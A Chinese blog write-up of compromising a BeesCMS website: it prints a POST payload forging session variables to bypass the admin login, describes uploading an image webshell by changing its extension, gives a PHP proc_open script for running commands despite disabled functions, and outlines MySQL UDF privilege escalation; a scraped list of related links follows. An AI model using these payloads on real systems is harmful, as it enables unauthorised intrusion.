本文首发于先知社区 https://xz.aliyun.com/t/5080

前言:这是一次挖掘cms通用漏洞时发现的网站,技术含量虽然不是很高,但是也拿出来和大家分享一下吧,希望能给一部分人带来收获。


0x01 进入后台

在通过googlehack语法挖掘beescms时发现了这个站点

利用网上的payload,在/mx_form/mx_form.php?id=12页面使用hackbarPOST以下数据

_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=100000000000000000000000000000000000

然后访问/admin便可以直接进入后台

0x02 拿shell

进入后台后在‘添加产品模块’处寻找到了上传点

尝试上马,但提示‘上传图片格式不正确’,于是上传图片马抓包,在repeater里更改后缀为php,然后go

根据回显没有看出是否上传成功,但也没说失败。经过寻找在‘上传图片管理’处找到

点击图片发现解析了,直接菜刀连接,拿到shell

0x03 绕过安全模式

拿到shell后进入终端查看权限,但却发现执行命令失败,可能远程启用了安全模式

经过在网上一番查找得出:要找到未禁用的php执行函数。先上传了一个查看phpinfo的脚本,找到已禁用的函数

发现proc_open函数未被禁用,于是找到如下php脚本

<?php

    $descriptorspec=array( //这个索引数组用力指定要用proc_open创建的子进程的描述符

    0=>array('pipe','r'), //STDIN

    1=>array('pipe','w'),//STDOUT

    2=>array('pipe','w') //STDERROR

);

    $handle=proc_open('whoami',$descriptorspec,$pipes,NULL);

    //$pipes中保存的是子进程创建的管道对应到 PHP 这一端的文件指针($descriptorspec指定的)

    if(!is_resource($handle)){

        die('proc_open failed');

}

    //fwrite($pipes[0],'ipconfig');

    print('stdout:<br/>');

    while($s=fgets($pipes[1])){

    print_r($s);

}

    print('===========<br/>stderr:<br/>');

    while($s=fgets($pipes[2])){

    print_r($s);

}

    fclose($pipes[0]);

    fclose($pipes[1]);

    fclose($pipes[2]);

    proc_close($handle);

?>

上传后可以执行命令,成功绕过安全模式

0x04 提权

上图可以看出只是iis权限,能做的事很局限,所以要想办法提权。

菜刀中虽然不能执行命令,但是可以查看文件,于是找到了数据库配置文件

发现是mysql的数据库,想到udf提权,于是上传udf提权脚本

登录后导出udf便可以执行命令了

提权成功,但是不可以添加用户,也不能开3389。


结语:希望路过的各位大佬可以指点迷津,也欢迎各位来找我交流探讨,感谢阅读。

参考链接:

https://www.cnblogs.com/R4v3n/articles/9081202.html php限制命令执行绕过

【实战1】记一次提至administrator权限历程的更多相关文章

  1. 「白帽黑客成长记」Windows提权基本原理(下)

    上一篇文章我们介绍了信息收集方法和WMIC,今天我们将跟随作者深入学习Windows提权基本原理的内容,希望通过这两篇文章的讲解,大家能够真正掌握这个技能. 推荐阅读:「白帽黑客成长记」Windows ...

  2. [转帖]「白帽黑客成长记」Windows提权基本原理(下)

    「白帽黑客成长记」Windows提权基本原理(下) https://www.cnblogs.com/ichunqiu/p/10968674.html 提权.. 之前还在想 为什么 我的 sqlserv ...

  3. [转帖]「白帽黑客成长记」Windows提权基本原理(上)

    「白帽黑客成长记」Windows提权基本原理(上) https://www.cnblogs.com/ichunqiu/p/10949592.html 我们通常认为配置得当的Windows是安全的,事实 ...

  4. 【渗透实战】记一次艰难的内网漫游第四期_蹭我WIFI?看我如何利用组合拳日进蹭网者内网

    /文章作者:Kali_MG1937 CSDN博客ID:ALDYS4 QQ:3496925334/ 内网漫游系列第三期:[渗透实战]记一次艰难的内网漫游第三期_我是如何利用APT攻击拿到内网最高权限的 ...

  5. 检测用户是否具有administrator权限(OpenThreadToken,OpenProcessToken,GetTokenInformation,AllocateAndInitializeSid和EqualSid)

    检测用户是否具有administrator权限const SECURITY_NT_AUTHORITY: TSIDIdentifierAuthority = (Value: (0, 0, 0, 0, 0 ...

  6. Delphi检测用户是否具有administrator权限(OpenThreadToken,OpenProcessToken,GetTokenInformation,AllocateAndInitializeSid和EqualSid)

    检测用户是否具有administrator权限const SECURITY_NT_AUTHORITY: TSIDIdentifierAuthority = (Value: (0, 0, 0, 0, 0 ...

  7. 记一次被DDoS敲诈的历程 糖果LUA FreeBuf 今天 0x01 背景

    记一次被DDoS敲诈的历程 糖果LUA FreeBuf 今天 0x01 背景

  8. 「白帽黑客成长记」Windows提权基本原理(上)

    我们通常认为配置得当的Windows是安全的,事实真的是这样吗?今天让我们跟随本文作者一起深入了解Windows操作系统的黑暗角落,看看是否能得到SYSTEM权限. 作者将使用不同版本的Windows ...

  9. 数据库实战案例—————记一次TempDB暴增的问题排查

    前言 很多时候数据库的TempDB.日志等文件的暴增可能导致磁盘空间被占满,如果日常配置不到位,往往会导致数据库故障,业务被迫中断. 这种文件暴增很难排查,经验不足的一些运维人员可能更是无法排查具体原 ...

随机推荐

  1. Linux下使用iptables配置防火墙端口转发

    1.背景 一些情况下,在linux上面我们想使用80-1024之间的端口,这个时候需要root权限. 当时root权限容易被提权,特别是早起那些Struct2,漏洞爆出的时候,一抓一个准-root权限 ...

  2. 如何基于EasyDSS流媒体RTMP、HLS(m3u8)、HTTP-FLV、RTSP服务器体系的全套SDK完成各种场景下的视频应用需求

    需求背景 回顾EasyDSS的发展过程,基本上保持的是先局部后系统.先组件后平台的发展方式,一步一步夯实每一个细节功能点,从最基础.最兼容的音视频数据的拉流获取,到高效的.全兼容的数据推流,再到流媒体 ...

  3. [LeetCode] 384. Shuffle an Array 数组洗牌

    Shuffle a set of numbers without duplicates. Example: // Init an array with set 1, 2, and 3. int[] n ...

  4. C++ ActiveX开发的问题讨论

    最近在一个项目中需要开发一个ocx插件,在开发过程中发现了一些问题,所以在此记录一下. 我想讨论的主要是函数的参数问题,我分别使用c++,JavaScript,C#对ocx插件做了测试,发现不同的参数 ...

  5. .Net - 线程本地变量(存储)的使用

    关于C#多线程的文章,大部分都在讨论线程的开始与停止或者是多线程同步问题.多线程同步就是在不同线程中访问同一个变量或共享资源,众所周知在不使用线程同步的机制下,由于竞争的存在会使某些线程产生脏读或者是 ...

  6. C++全排列 next_permutation

    全排列函数  next_permutation 这是C++的STL中专门用来排列的函数(可以自动处理存在重复数据集的排列问题) 使用时要加上头文件 #include <algorithm> ...

  7. 对QT多线程以及事件投递的理解

    1.使用QObject子类的movetothread方法 代替 QThread子类的run 实现多线程. 使用原始QThread对象的start方法启动线程==>连接原始QThread对象的st ...

  8. LVS的基础使用

    LVS的基础使用 LVS的介绍 A:什么是LVS B:cluster(集群的概念) C:LVS的介绍 LVS的使用 A:ipvsadm命令的使用 ♣一:LVS的介绍 A:什么是lvs LVS的英文全称 ...

  9. Integer.highestOneBit(int i)方法的作用与底层实现

    在Integer类中有这么一个方法,你可以给它传入一个数字,它将返回小于等于这个数字的一个2的幂次方数.这个方法就是highestOneBit(int i). 比如下面的Demo,注意方法的输入与返回 ...

  10. 图片url地址的生成获取方法

    在写博客插入图片时,许多时候需要提供图片的url地址.作为菜鸡的我,自然是一脸懵逼.那么什么是所谓的url地址呢?又该如何获取图片的url地址呢? 首先来看一下度娘对url地址的解释:url是统一资源 ...